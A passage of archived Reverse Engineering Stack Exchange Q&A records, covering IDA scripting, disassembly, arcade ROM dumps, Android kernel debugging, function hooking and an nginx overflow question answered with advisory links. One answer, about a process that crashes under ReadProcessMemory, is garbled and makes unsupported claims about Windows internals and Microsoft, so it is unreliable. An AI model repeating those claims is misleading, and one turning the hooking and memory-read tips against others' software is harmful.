; CODE XREF: StringConcat+31j\nseg005:293E                 xchg    ax, dx\nseg005:293F                 pop     di\nseg005:2940                 pop     si\nseg005:2941                 pop     bp\nseg005:2942                 retf\nseg005:2942 StringConcat    endp\n</code></pre>\n",
        "Title": "16 bit Dos string concat function",
        "Tags": "|ida|static-analysis|dos-exe|",
        "Answer": "<p>It's a minor speed optimization. The main loop for moving characters use <code>movsw</code> (move words) which was probably slightly faster than moving bytes. However, in case the number of bytes is odd, one byte would be left uncopied, and that's why there is an extra <code>mosvb</code> before and after it (so the extra byte is moved before or after, depending on alignment of the string address).</p>\n"
    },
    {
        "Id": "12654",
        "CreationDate": "2016-05-13T22:15:10.960",
        "Body": "<p>So I got a couple super old chips from what looked like an arcade. The game-board they game with is OK I think. The CRT monitor is wrecked, however the chips are still good. </p>\n\n<p>I stuck them in my Chip reader and did a dump of them.Had a poke around to see if there was anything I could do with them, perhaps make an emulator ext. However I don't quite understand what it means. I'm not sure if there encoded, or if i'm trying to decode them with the wrong Character-set. I'm pretty sure these are the sting outputs of the game, I first thought, OK well there probably in another language. But google has no clue.</p>\n\n<p>Tried UTF-8, EBCDIC, etc.</p>\n\n<p>Whats posted is it in ASCII.\nGoogled the model number of the board, no dice.</p>\n\n<p>The chips where labeled U4-U8</p>\n\n<p>Here is a snipit of the first chip:</p>\n\n<pre><code>00047600  73 20 6f 20 61 20 6f 63  20 68 20 6f 62 65 64 77  |s o a oc h obedw|\n00047610  20 75 74 6e 74 20 6f 62  65 00 79 75 20 65 2c 72  | utnt obe.yu e,r|\n00047620  63 69 65 6f 65 6d 72 20  61 64 20 6e 20 74 6e 2e  |cieoemr ad n tn.|\n00047630  00 6f 63 20 68 20 70 69  20 75 74 6e 74 20 70 69  |.oc h pi utnt pi|\n00047640  20 20 61 72 69 74 20 77  20 61 64 2c 00 65 63 20  |  arit w ad,.ec |\n00047650  74 74 65 63 72 65 74 62  74 61 6f 6e 2e 20 6f 72  |ttecretbtaon. or|\n00047660  2c 6e 20 6c 63 6a 63 73  00 6f 20 6f 62 65 64 77  |,n lcjcs.o obedw|\n00047670  73 6f 20 70 69 20 61 64  2e 00 6c 79 72 77 6e 20  |so pi ad..lyrwn |\n00047680  69 68 36 63 72 73 61 20  31 70 69 74 20 72 6c 73  |ih6crsa 1pit rls|\n00047690  2e 00 65 6c 72 73 61 64  20 6e 31 20 72 6d 72 20  |..elrsad n1 rmr |\n000476a0  6f 6e 73 6f 20 6e 36 63  72 73 0a 54 79 74 20 6f  |onso n6crs.Tyt o|\n000476b0  62 65 77 6e 69 67 20 79  70 65 73 6e 20 6f 62 65  |bewnig ypesn obe|\n000476c0  75 20 75 74 6e 0a 20 63  73 63 75 74 68 67 2c 61  |u utn. cscuthg,a|\n000476d0  64 38 69 20 6c 61 73 61  70 73 2e 00 40 00 41 00  |d8i lasaps..@.A.|\n000476e0  42 00 43 00 44 00 45 00  46 00 47 00 48 00 49 00  |B.C.D.E.F.G.H.I.|\n000476f0  4a 00 4b 00 4c 00 50 00  51 00 52 00 53 00 54 00  |J.K.L.P.Q.R.S.T.|\n00047700  55 00 56 00 57 00 4d 00  20 00 21 00 22 00 23 00  |U.V.W.M. .!.\".#.|\n00047710  24 00 25 00 26 00 27 00  28 00 29 00 2a 00 2b 00  |$.%.&amp;.'.(.).*.+.|\n00047720  2c 00 30 00 31 00 32 00  33 00 34 00 35 00 36 00  |,.0.1.2.3.4.5.6.|\n00047730  37 00 2d 00 00 00 01 00  02 00 03 00 04 00 05 00  |7.-.............|\n00047740  06 00 07 00 08 00 09 00  0a 00 0b 00 0c 00 10 00  |................|\n00047750  11 00 12 00 13 00 14 00  15 00 16 00 17 00 0d 00  |................|\n</code></pre>\n\n<p>I figured a group of security people would probably have seen encoding or encryption like this before and might point me in the right direction.</p>\n\n<p>Or hell, they might be encrypted, there was a label for \"Security chip\" on the board, however it was missing.</p>\n\n<p>Any idea what encoding this is, or if its encrypted?</p>\n\n<p>Dumps: <a href=\"https://mega.nz/#!W8UwiQBS!17g3GMBniRPBcqOuDXVGZZoYh1qOZAJzJIdh-rpk5kQ\" rel=\"noreferrer\">https://mega.nz/#!W8UwiQBS!17g3GMBniRPBcqOuDXVGZZoYh1qOZAJzJIdh-rpk5kQ</a></p>\n",
        "Title": "What is the encoding of some old arcade chips?",
        "Tags": "|hardware|",
        "Answer": "<p>These four files are 2 interleaved sets of ROMs for the arcade game \"Pot-O-Gold\", by Leisure Time Technology, dated \"OCTOBER 1999\".</p>\n\n<p>This image shows your labelled chips, also bearing the abbreviation \"POG\":\n<a href=\"https://i.stack.imgur.com/Ufc1Q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ufc1Q.png\" alt=\"super cheap! add to cart!\"></a>\n(located on <a href=\"http://newlifegames.net/nlg/index.php?topic=14784.0\" rel=\"nofollow noreferrer\">http://newlifegames.net/nlg/index.php?topic=14784.0</a>) plus an additional unlabeled one.</p>\n\n<p>The first pair is <strong>U4 + U7</strong>; combining them shows a few texts and, at offset 0x37876, a 16x16 monochrome font. The font starts at space and continues well into accented characters, following <a href=\"https://en.wikipedia.org/wiki/Code_page_437\" rel=\"nofollow noreferrer\">Code Page 437</a>, all the way up to the capital <code>\u00d1</code>. After that comes an <code>\u00d8</code>, followed by some specialist (probably in-game) characters. A very similar 8x8 character set starts at 0x75FEA. This strongly suggests a modern PC was used to create the game, and in-game texts are basically encoded as Code Page 437.</p>\n\n<p>About halfway into the combined file, there is a huge chunk of text for changing the settings; it starts around <code>PROGRESSIVE CONFIG SHOULD BE DONE ON A MASTER MACHINE</code>. Some of the texts are in Norwegian (?).</p>\n\n<p>The second pair is <strong>U5 + U8</strong>. Combining them shows it starts with the names of the sub-games: <code>DOUBLE-UP  KENO</code>, <code>SUPER DOUBLE-UP</code>, and so on. It also contains lots of detailed in-game help texts. The final half of the file is blank, consisting only of 0xFF bytes.</p>\n\n<p>I did not find a good reference for what CPU drives this, and I don't recognize code (probably) as Z80, Intel, ARM, or MC680XX. I also cannot readily determine if word data is stored little or big endian.</p>\n"
    },
    {
        "Id": "12661",
        "CreationDate": "2016-05-16T18:14:18.990",
        "Body": "<p>I am looking for a way to obtain the pseudocode of a function via a script. I am using IDAPro 6.9 on OS X 10.11.4 (El Capitan).</p>\n\n<p>I did locate this documentation on using the decompiler in batch mode:</p>\n\n<p><a href=\"https://www.hex-rays.com/products/decompiler/manual/batch.shtml\" rel=\"nofollow\">https://www.hex-rays.com/products/decompiler/manual/batch.shtml</a></p>\n\n<p>If I am interpreting the documentation correctly, it would seem to indicate that I can execute:</p>\n\n<p>idal -Ohexx86:decompiled_output:function_name -A myidapro.idb</p>\n\n<p>and it will produce the pseudocode for <em>function_name</em> and write the result to <em>decompiled_output</em>. Is this correct?</p>\n\n<p>When I try this, it just launches the text interface and no output file is created. I can, of course, launch the GUI and view the pseudocode of function_name.</p>\n\n<p>Additionally, if there is a way to obtain the pseudocode of a function via a python script running within idapro, that would be the preferred option, but it is unclear to me whether that is possible.</p>\n",
        "Title": "Obtaining the Pseudocode of a function via a script",
        "Tags": "|ida|decompilation|ida-plugin|script|",
        "Answer": "<p>You can use the following function:</p>\n\n<pre><code>def decompile_func(ea):\n  if not init_hexrays_plugin():\n    return False\n\n  f = get_func(ea)\n  if f is None:\n    return False\n\n  cfunc = decompile(f);\n  if cfunc is None:\n    # Failed to decompile\n    return False\n\n  lines = []\n  sv = cfunc.get_pseudocode();\n  for sline in sv:\n    line = tag_remove(sline.line);\n    lines.append(line)\n  return \"\\n\".join(lines)\n\nprint decompile_func(here())\n</code></pre>\n\n<p>This is a modification of the example vds1.py script.</p>\n"
    },
    {
        "Id": "12664",
        "CreationDate": "2016-05-17T01:38:11.253",
        "Body": "<p>Is it possible to configure the decomplier so it will generate code for the entire function and not just the parts it thinks can be reached?</p>\n\n<p>The disassemblier sees the alternate code path, but the decomplier won't generate the code for it.</p>\n",
        "Title": "Decompiler skipping code it determined cannot be reached",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>As far as I know there is no such configuration for hex rays decompiler. However it is possible that this code was not generated because of incorrect definition of function prototype (for example the list of parameters of the function is incomplete). You can see a bit more details about this in <a href=\"https://www.hex-rays.com/products/decompiler/manual/faq.shtml#001\" rel=\"nofollow\">decompler FAQ</a> .  </p>\n\n<p>Another reason I can imagine is incomplete control flow graph of the function.\nThis may happen because a lot of reasons, for example incorrectly defined switch statement in it.</p>\n"
    },
    {
        "Id": "12665",
        "CreationDate": "2016-05-17T08:07:47.180",
        "Body": "<p>i am to web applications so i have recently published my website and ran a penetration test using Acunetix Vulnerability scanner\nso i have found the following result and for me to experience a lot about web apps i would like experiment on this website penetrate my site see if i can successfully run arbitary code send emails do stuffs inside my website.</p>\n\n<p>Acunetix vulnerability results</p>\n\n<p>A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the \"spdy\" option of the \"listen\" directive is used in a configuration file.\nAffected items</p>\n\n<p>thank you</p>\n",
        "Title": "how can one cause heap memory buffer overflow in a worker process by using a specially crafted request?",
        "Tags": "|malware|websites|",
        "Answer": "<p>I have not used Acunetix before, since I do not rely on automated assessment tools personally. However, I would assume, that Acunetix does the service banner grabbing, identifies the version reported there, and then matches it against a know database of vulnerabilities without actually verifying if the exploit conditions are true. Since the latter is typically left to human pentester to execute and confirm.</p>\n\n<p>If you Google for \"nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12\", you would find at least:</p>\n\n<blockquote>\n  <ul>\n  <li><a href=\"http://nginx.org/en/security_advisories.html\" rel=\"nofollow\">http://nginx.org/en/security_advisories.html</a></li>\n  <li><a href=\"http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=nginx_HTTP_vulnerabilities.html\" rel=\"nofollow\">http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=nginx_HTTP_vulnerabilities.html</a></li>\n  </ul>\n</blockquote>\n\n<p>These might or might not have a publicly disclosed exploit code. Depending on that you would have to either do the patch analysis, debugging and exploit development on your own. Or if you are trying to secure your server -- then you would have to patch the software or implement the latest stable release.</p>\n\n<p>For more hints and proof-of-concept exploits you can start your search with the exploit-db.com.</p>\n\n<p>Hope this clarifies your question.</p>\n"
    },
    {
        "Id": "12671",
        "CreationDate": "2016-05-17T15:27:31.627",
        "Body": "<p>I have the following disassembly of a function prologue with comments. I'm unclear on what the author means in this line of disassembly <em><strong>&quot;lea edi,[ebp-0xcc]  ; getting the lowest address of stack frame&quot;</strong></em>. Dumping the headers of the executable I see the following in the OPTIONAL HEADER VALUES: <em><strong>100000 size of stack reserve 1000.</strong></em> Windows Threads default stack size is 1MB so I'm believe the values from dumpbin are in units of Kilo.</p>\n<p>Can you please clarify this statement:\n<em><strong>lea edi,[ebp-0xcc]   ; getting the lowest address of stack frame</strong></em></p>\n<pre><code>push ebp            ; establishing stack frame \nmov ebp,esp         ; save stack pointer in ebp\nsub esp,0xcc        ; creating stack frame for local variables\npush ebx            ; saving registers that might be used\npush esi            ; outside\npush edi            ;                                     \nlea edi,[ebp-0xcc]  ; getting the lowest address of stack frame \nmov ecx,0x33        ; filling stack frame with 0xCC\nmov eax,0xcccccccc  ; \nrep stosd           ;\n</code></pre>\n",
        "Title": "Win32 x86 prologue disassembly",
        "Tags": "|disassembly|windows|debugging|windbg|thread|",
        "Answer": "<p>this doesnt have anything to do with stack size in pe header   </p>\n\n<pre><code>assume  esp = 1200cc \nso ebp will also be 1200cc\nsub esp,0xcc  will make esp 120000   \nthe three pushes will alter esp but not ebp   \nso  edi will be 120000   after that operation   \necx = counter == 33  eax = 0xcccccccc \nso rep stosd will fill the space from 120000 to 1200cc with 0xcccccccc\n</code></pre>\n\n<p>simply put it is  memset(&amp;ebp,0xcc,0xcc);</p>\n"
    },
    {
        "Id": "12675",
        "CreationDate": "2016-05-17T20:19:05.650",
        "Body": "<p>In IDA's Graph View, when we select some register (for example, <code>esp</code> in the image below), every location that the register occurs is highlighted.</p>\n\n<p>Is it possible to read what the selected operand is? (I want to work with registers at the moment, but it would be nice to be able to know any selected value).</p>\n\n<p>I am able to get the address of the instruction using <code>idaapi.get_screen_ea()</code>, but am unable to proceed further.</p>\n\n<p><a href=\"https://i.stack.imgur.com/ixZVW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ixZVW.png\" alt=\"esp highlight\"></a></p>\n",
        "Title": "IDA Python - Find highlighted register",
        "Tags": "|idapython|",
        "Answer": "<p>In case the above doesn't work in newer versions try <code>ida_kernwin.get_highlight(ida_kernwin.get_current_viewer())</code></p>\n<p>Example:</p>\n<pre><code>Python&gt;ida_kernwin.get_highlight(ida_kernwin.get_current_viewer())\n('edx', 0x3)\n</code></pre>\n<p>The backwards compatibility layer shows how to interpret the returned tuple:</p>\n<pre><code>def get_highlighted_identifier():\n    thing = get_highlight(get_current_viewer())\n    if thing and thing[1]:\n        return thing[0]\n</code></pre>\n"
    },
    {
        "Id": "12688",
        "CreationDate": "2016-05-18T17:01:58.647",
        "Body": "<p>Let's say I have a carbon objective-c executable, and a crash report. From the crash report, it is apparent that the main method is located at <code>0x00002639</code>, and the NSApplicationMain method from the AppKit is at <code>0x93ba0025</code>. I anticipate that the first main method has background processes, and NSApplicationMain is the method typed by the user.</p>\n\n<p>Is there any sort of predictable interval to instructions? I want to make breakpoints at every instruction written by the programmer. Let's say for example that the main after the main method, the instructions are separated by 2, so from <code>0x93ba0025</code>, the next function would be <code>0x93ba0027</code>, etc.</p>\n\n<p>Would the above apply, or will I have to do something more to achieve this?</p>\n",
        "Title": "Is there a predictable interval between instructions of main methods in carbon?",
        "Tags": "|gdb|memory|",
        "Answer": "<p>No.</p>\n\n<p><a href=\"https://en.wikipedia.org/wiki/X86#Basic_properties_of_the_architecture\" rel=\"nofollow noreferrer\">x86/x64 processors use instructions of variable length</a>, so you can't assume that there is a specific number of bytes between instructions.</p>\n\n<p>You'd likely want to use something like a <a href=\"https://reverseengineering.stackexchange.com/a/12455/1562\">length disassembler</a> in order to figure out the length of a given instruction at a given address.</p>\n"
    },
    {
        "Id": "12690",
        "CreationDate": "2016-05-18T18:08:30.747",
        "Body": "<p>I'm working through example from a Windows disassembly training guide. In the exercise <strong><em>rax is set to a byte ptr</em></strong>, then <strong><em>rbx a word ptr</em></strong>. I notice the next byte of memory is skipped before <strong><em>rcx is to a dword ptr</em></strong>. Why did a byte of memory get skipped? Is there some alignment requirement?</p>\n\n<p><a href=\"https://i.stack.imgur.com/pz5rR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pz5rR.png\" alt=\"Addressing modes\"></a></p>\n",
        "Title": "x64 Memory Pointer and Addressing modes",
        "Tags": "|disassembly|debugging|windbg|",
        "Answer": "<p>The main reason to align the data is for performance (some architectures will fault on misaligned data, but since you tagged this with windbg, we will assume amd/intel x64 + windows).</p>\n\n<p>Quoting from the AMD64 Architecture Programmer\u2019s Manual Volume 1:</p>\n\n<blockquote>\n  <p>The AMD64 architecture does not impose data-alignment requirements for\n  accessing data in memory. However, depending on the location of the\n  misaligned operand with respect to the width of the data bus and other aspects of the hardware implementation (such as\n  store-to-load forwarding mechanisms), a misaligned memory access can\n  require more bus cycles than an aligned access. For maximum\n  performance, avoid misaligned memory accesses.</p>\n</blockquote>\n\n<p>Ideally the word-sized data (pointed via rbx) would be 2-byte aligned, but as noted above, it is not required.</p>\n"
    },
    {
        "Id": "12692",
        "CreationDate": "2016-05-19T01:37:24.390",
        "Body": "<p>How do I reverse engineer the Android kernel currently running on an Android phone?  I'm most interested in seeing/manipulating the call stack.  Basically, gdb or something like Ollydgb would be great.  I am not looking to build the kernel from source.</p>\n",
        "Title": "Reverse Engineering Android Kernel",
        "Tags": "|android|",
        "Answer": "<p>Probably the easiest way to go about it is to find out what firmware image your phone is running and download it, extract the kernel blob (zImage), then fire that up in the android emulator/QEMU and remote kgdb into it.</p>\n\n<p>You could unpack the kernel using unmkbootimg: <a href=\"https://github.com/osm0sis/mkbootimg\" rel=\"noreferrer\">https://github.com/osm0sis/mkbootimg</a></p>\n\n<p>There are plenty of tutorials on xda for unpacking the kernel.</p>\n\n<p>Here's a link of some dude debugging an android kernel in the emulator:\n<a href=\"http://www.informit.com/articles/article.aspx?p=2431417&amp;seqNum=3\" rel=\"noreferrer\">http://www.informit.com/articles/article.aspx?p=2431417&amp;seqNum=3</a></p>\n"
    },
    {
        "Id": "12693",
        "CreationDate": "2016-05-19T12:57:04.737",
        "Body": "<p>I'm trying to reverse-engineer a binary. I'm interested to find its network traffic but dynamic analysis is failing. Using IDA I'm able to identify network calls but when I try to reverse its caller using <code>x</code> shortcut after couple of callers I get stuck at this point:</p>\n\n<pre><code>.text:00407230                 dd offset sub_40600C\n.text:00407234                 dd offset sub_403C30\n.text:00407238                 dd offset nullsub_4\n.text:0040723C                 dd offset sub_40601C\n.text:00407240                 dd offset sub_4039BC\n.text:00407244                 dd offset sub_40C294\n</code></pre>\n\n<p>I would like to ask how I can proceed further. </p>\n",
        "Title": "Reverse Referencing in IDA",
        "Tags": "|ida|",
        "Answer": "<p>This means that these functions are called indirectly (if ever called at all).\nIf this program is written in something like C++ this may be a virtual function pointer table, and anyway such code organization usually represents table of functions used by indirect calls.</p>\n\n<p>If this program is written in C++ I'd suggest to read <a href=\"http://www.hexblog.com/wp-content/uploads/2011/08/Recon-2011-Skochinsky.pdf\" rel=\"nofollow\">this presentation</a> by @Igor Skochinsky - this is very educational reading.</p>\n\n<p>I'd proceed as follows: </p>\n\n<ul>\n<li>Find a references to the specific address where function address is stored.</li>\n<li>If there is no one referencing it look for the first address before the one you are working with referenced by something and inspect all references to it. </li>\n<li>You'll probably find there indirect call of one of the functions from the table or initialization of virtual function pointer table in the instance of the class.</li>\n</ul>\n"
    },
    {
        "Id": "12698",
        "CreationDate": "2016-05-20T15:40:55.677",
        "Body": "<p>How to select ARM or THUMB mode when using \"Make Code\" command?</p>\n\n<p>I have ARM binary and I want to specify ARM or THUMB code making manually in IDA, but how to do this?</p>\n",
        "Title": "IDA Pro. How to select ARM or THUMB mode when using \"Make Code\" command",
        "Tags": "|ida|disassembly|arm|",
        "Answer": "<p>When IDA first analyzes the binary, it detects which parts of the code are ARM, and which part are THUMB instructions. Then, it creates segments according to the analysis, and marks each segment as a \"THUMB\" or \"ARM\" segment.</p>\n\n<p>Press <kbd>ctrl</kbd>-<kbd>G</kbd> to see which segment has which type (Value 00=ARM, 01=THUMB).</p>\n\n<p>Press <kbd>alt</kbd>-<kbd>G</kbd> to change the designation of the current segment (the one the cursor is in right now).</p>\n\n<p>If you aren't satisfied with what the analyzer created, use the Edit/Segments submenus to move, resize, create, or delete them.</p>\n"
    },
    {
        "Id": "12708",
        "CreationDate": "2016-05-21T16:46:22.020",
        "Body": "<p>Let's say I want to reverse engineer an executable that interprets some data type. I want to see how the program interferes with the file, and what is stored. In the case that decompilation is not an option, I have disassembly and debugging left. With disassembly, I would have to look into 200,000 lines of assembly, which would be rather tedious, especially if I needed to hand code it back.</p>\n\n<p>From my experience with debugging with <strong>gdb</strong>, all that I was able to do is see when a thread is being created, and inspecting the stack, both of which don't seem like very useful to me.</p>\n\n<p>Is my approach to debugging incorrect? If it is, then what can you do with a debugger like <strong>gdb</strong>, avoiding paid debuggers or software, to find out a piece of information similar to the one I am trying to find? Can someone give me a pointer for the sake of orientation?</p>\n",
        "Title": "How do debuggers help one with finding information about how a program does something?",
        "Tags": "|debugging|",
        "Answer": "<p>99% of RE is figuring out what not to RE.  </p>\n\n<p>Assuming there are 200k lines of assembly - using a debugger can quickly narrow that down to a few thousand that are actually processing the data you're interested in. Try setting a breakpoint on syscalls like open() or read() to see when it's interacting with your file, and following the buffer that the data is read in to.  </p>\n\n<p>Once you locate where your data is coming in to the program, static analysis becomes a much less daunting task.</p>\n"
    },
    {
        "Id": "12710",
        "CreationDate": "2016-05-21T22:22:16.997",
        "Body": "<p>I just tried to convert the asm code shown belown, but I failed to get the same result</p>\n\n<pre><code>00ACDE11  /MOV AL,BYTE PTR DS:[EBX]          \n00ACDE13  |MOV EDX,EAX                       \n00ACDE15  |ADD DL,0CF                        \n00ACDE18  |SUB DL,9                          \n00ACDE1B  |JB SHORT 00ACDE46            ;Especially this     \n00ACDE1D  |ADD DL,0F9                        \n00ACDE20  |SUB DL,0E                         \n00ACDE23  |JB SHORT 00ACDE46            ;Especially this     \n00ACDE25  |DEC EDX                           \n00ACDE26  |SUB DL,0B                         \n00ACDE29  |JB SHORT 00ACDE46            ;Especially this     \n00ACDE2B  |XOR EAX,EAX                       \n00ACDE2D  |MOV AL,BYTE PTR SS:[EBP-310]      \n00ACDE33  |DEC EAX                           \n00ACDE34  |CALL 009E2D24                     \n00ACDE39  |MOV EDI,EAX                       \n00ACDE3B  |MOV AL,BYTE PTR SS:[EDI+EBP-30F]  \n00ACDE42  |MOV BYTE PTR DS:[EBX],AL          \n00ACDE44  |JMP SHORT 00ACDE48                \n00ACDE46  |MOV BYTE PTR DS:[EBX],AL          \n00ACDE48  |INC EBX                           \n00ACDE49  |DEC ESI                           \n00ACDE4A  \\JNZ SHORT 00ACDE11                \n</code></pre>\n\n<p>I already does some research effort on the internet and found that carry flag is set when an overflow is caused.\nThis is what I already tried:</p>\n\n<pre><code>for(int i=0; i &lt; n ;i++)\n{\n    int c = buffer[i] + 0xC6;\n\n    if(c &gt; 0xFF) // &lt;---- this is not producing the same result\n    {\n        c = ((unsigned char) c) + 0xEB;\n\n        if(c &gt; 0xFF) // &lt;---- this is not producing the same result\n        {\n            c = ((unsigned char) c) - 0xC;\n\n            if(c &gt; 0xFF) // &lt;---- this is not producing the same result\n            {\n                //...\n                //func_009E2D24(...);\n\n            }\n        }\n    }\n\n    //...\n}\n</code></pre>\n",
        "Title": "How the asm code can be converted to C Language?",
        "Tags": "|disassembly|",
        "Answer": "<p>This is what I wanted so far, this worked fine for me:</p>\n\n<pre><code>for(int i=0; i &lt; n ;i++)\n{\n    int c = buffer[i] + 0xCF;\n    c = (unsigned char)c;\n    c -= 9;\n    if (c &gt; 0)\n    {\n        c += 0xF9;\n        c = (unsigned char)c;\n        c -= 0xE;\n        if (c &gt; 0)\n        {\n            c = (unsigned char)c;\n            c -= 0xC;\n            if (c &gt; 0)\n            {\n                //...\n                //func_009E2D24(...);\n            }\n        }\n\n    }\n    //...\n}\n</code></pre>\n"
    },
    {
        "Id": "12711",
        "CreationDate": "2016-05-22T03:04:37.753",
        "Body": "<p>I've been slowly working on getting into the workings of a set-top box. I hit a snag when the firmware that it downloads is encrypted. I managed to find some pictures of the circuit board (but haven't opened up my device <em>yet</em>) and I have been reading up on communicating over the on-board serial port. I have zero experience with this, other than what I've read on <a href=\"http://devttys0.com\" rel=\"nofollow\">http://devttys0.com</a> and <a href=\"http://jcjc-dev.com/\" rel=\"nofollow\">http://jcjc-dev.com/</a> and various other sites.</p>\n\n<p>So my question is this - Since I'm such a newbie at this, is anyone willing to look at these pictures and help me figure out where a serial port might be hidden? </p>\n\n<p>Pictures @ <a href=\"https://www.dropbox.com/sh/qzd2jpjlv1ieehu/0Am6ttruYe\" rel=\"nofollow\">https://www.dropbox.com/sh/qzd2jpjlv1ieehu/0Am6ttruYe</a></p>\n\n<p>Any thoughts? Thanks for your time!</p>\n",
        "Title": "Help locating Serial Port on embedded device",
        "Tags": "|serial-communication|embedded|",
        "Answer": "<p>Look for .1 Inch spaced pads or holes, at least three contacts will be in a row (as you need RX, TX and GND). At a glance I can't find a port in the photos. You should try to get some really high resolution top and bottom pictures.</p>\n"
    },
    {
        "Id": "12720",
        "CreationDate": "2016-05-23T03:12:55.707",
        "Body": "<p>I have hooked into some functions in an exe. I was wondering if there were any simple ways to detect the memory addresses of these functions after the exe has a new build (not my exe). Is the best way to just scan the exe for the bytes of the function and compare to the previous result? Can this be achieved fast enough to add it to my injection code? </p>\n",
        "Title": "What is an easy way to update the addresses of hooked functions in an exe",
        "Tags": "|c++|dll-injection|function-hooking|",
        "Answer": "<p>It really depends on the functions you're hooking. If they're not likely to be changed, then scanning for the bytes would be the naive solution. It should be relatively fast and work perfectly fine.</p>\n\n<p>If it's likely that the functions will have changed (patches, removal, different compiler/build env, etc) then you could try to find a bytestring 'signature' for those functions. Ideally that signature would be unique (only in that function), but also as small as possible (to reduce the likelihood that those bytes were patched in the new binary). This is going to be fairly hack-y.</p>\n\n<p>Just a note: if it was a DLL, you could walk the PE export table fairly trivially to find the new offsets.</p>\n\n<p>There's also Bindiff, which is now free: <a href=\"https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html\" rel=\"nofollow\">https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html</a></p>\n\n<p>Bindiff is an IDA plugin that would probably solve your problem as well.</p>\n\n<p>I would say try scanning for the bytes, and see how many you're successful in locating. The easy solution is the best solution! :)</p>\n"
    },
    {
        "Id": "12726",
        "CreationDate": "2016-05-23T22:17:58.577",
        "Body": "<p>I have made a plugin (using IDA Python) that requires the Hex-Rays plugin. </p>\n\n<p>As per the instructions in the <code>hexrays_sdk</code> folder, I've named my plugin starting with <code>hexrays_</code> to make sure it loads after Hex-Rays is done loading. However, IDA decides to load my plugin earlier, and hence, it never is able to get <code>True</code> for <code>idaapi.init_hexrays_plugin()</code>. </p>\n\n<p>I've tried renaming my plugin in multiple ways, but still cannot seem to get the plugin to load after Hex-Rays.</p>\n\n<p>BTW, I think the issue might be related to the fact that I am storing my plugin in <code>%IDAUSR%/plugins</code> rather than <code>%IDADIR%/plugins</code> since I do not want to modify <code>%IDADIR%</code>.</p>\n\n<p>Is there any kind of workaround to make the plugin load later? Or can I force IDA to load Hex-Rays earlier?</p>\n",
        "Title": "Hex-Rays and IDA Python plugin loading order",
        "Tags": "|idapython|ida-plugin|hexrays|",
        "Answer": "<pre><code>def init():\n    if not idaapi.init_hexrays_plugin():\n        return idaapi.PLUGIN_SKIP\n</code></pre>\n"
    },
    {
        "Id": "12732",
        "CreationDate": "2016-05-25T01:01:03.100",
        "Body": "<p>I have an interesting application that seems to crash whenever a particular region of memory is read using <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553(v=vs.85).aspx\" rel=\"nofollow\">ReadProcessMemory</a>. I know it's not doing anything special with RPM because:</p>\n\n<ol>\n<li>Injecting a DLL to read that region of memory directly also causes a crash.</li>\n<li>Scanning regions with applications like <a href=\"http://www.cheatengine.org/\" rel=\"nofollow\">CheatEngine</a> also causes a crash.</li>\n</ol>\n\n<p>It's also not a guard region or a region with special protection flags. It's just a private R+W region.</p>\n\n<p>At first I thought they were installing hardware data breakpoints like those described <a href=\"http://www.codeproject.com/Articles/28071/Toggle-hardware-data-read-execute-breakpoints-prog\" rel=\"nofollow\">here</a>, but after checking the debug registers of all threads and seeing that they were all zero made me conclude that another technique is used.</p>\n\n<p>I suspect that they are somehow raising an exception whenever that piece of memory is read. I'm looking to understand what they're doing and how to detect it, or at the very least, make RPM not crash the application.</p>\n\n<p>P.S. I cannot attach a debugger to this application, and the executable is encrypted, but I do know that various TLS callbacks are used along with VEH exception handlers.</p>\n",
        "Title": "Target application crashes when using ReadProcessMemory",
        "Tags": "|memory|exception|",
        "Answer": "<p>VirtualProtect or WriteProcessMemory are affected by this </p>\n\n<p>because windows checks up the Vad Table with \nwith a internal function called \"MiCheckForConflictingNode\"\nwindows reacts to 0x00200000 what is 2 = VVadImageMap = 2\nto value 0x00400000 what is in VadTypeVadWriteWatch = 4 \nto value 0x0008000 this flag is \"NoChange\" yes (1) or no (0) either contains 0 or 1</p>\n\n<p>KeAttachProcess also calls a trigger im uncertain if its a flag or a function that got set</p>\n\n<p>the trigger from the target is made to delay executed\nit then read out that information that got left from KeAttachProcess</p>\n\n<p>after this the target prints a error but its only a trigger </p>\n\n<p>to avoid this do not use that functions or either emulate them so they dont call triggers or flags\nthere other ways too</p>\n\n<p>microsoft gives a .txt file what includes text that is pure scam and talks like 10 pages about that microsoft is protecting those companys</p>\n\n<p>and saying something like \"stack error\" what is not the case its just scamming and trolling</p>\n\n<p>also i figured out that this part got added to windows with over a so called \"security update\" what is rather about the take the users away the rights from his own computer</p>\n\n<p>thats why i never liked windbg it has a tons of dependencies</p>\n\n<p>as you can see this problem here </p>\n"
    },
    {
        "Id": "12733",
        "CreationDate": "2016-05-25T02:15:15.903",
        "Body": "<p>I'm trying to reverse engineer an Android app. I've tried using several decompilers, and while I'm getting java source codes to varying levels of accuracy, I'm not able to convert the resource IDs to the resource strings. In the Java source, all I'm getting is the 32bit resource ID, which is meaningless to me. Is there anyway to get the resource string from this resource ID? I did not find any R.java in any of the decompiled code.</p>\n\n<p>Thanks!</p>\n",
        "Title": "Mapping Android resource IDs to resource string",
        "Tags": "|decompilation|android|static-analysis|java|",
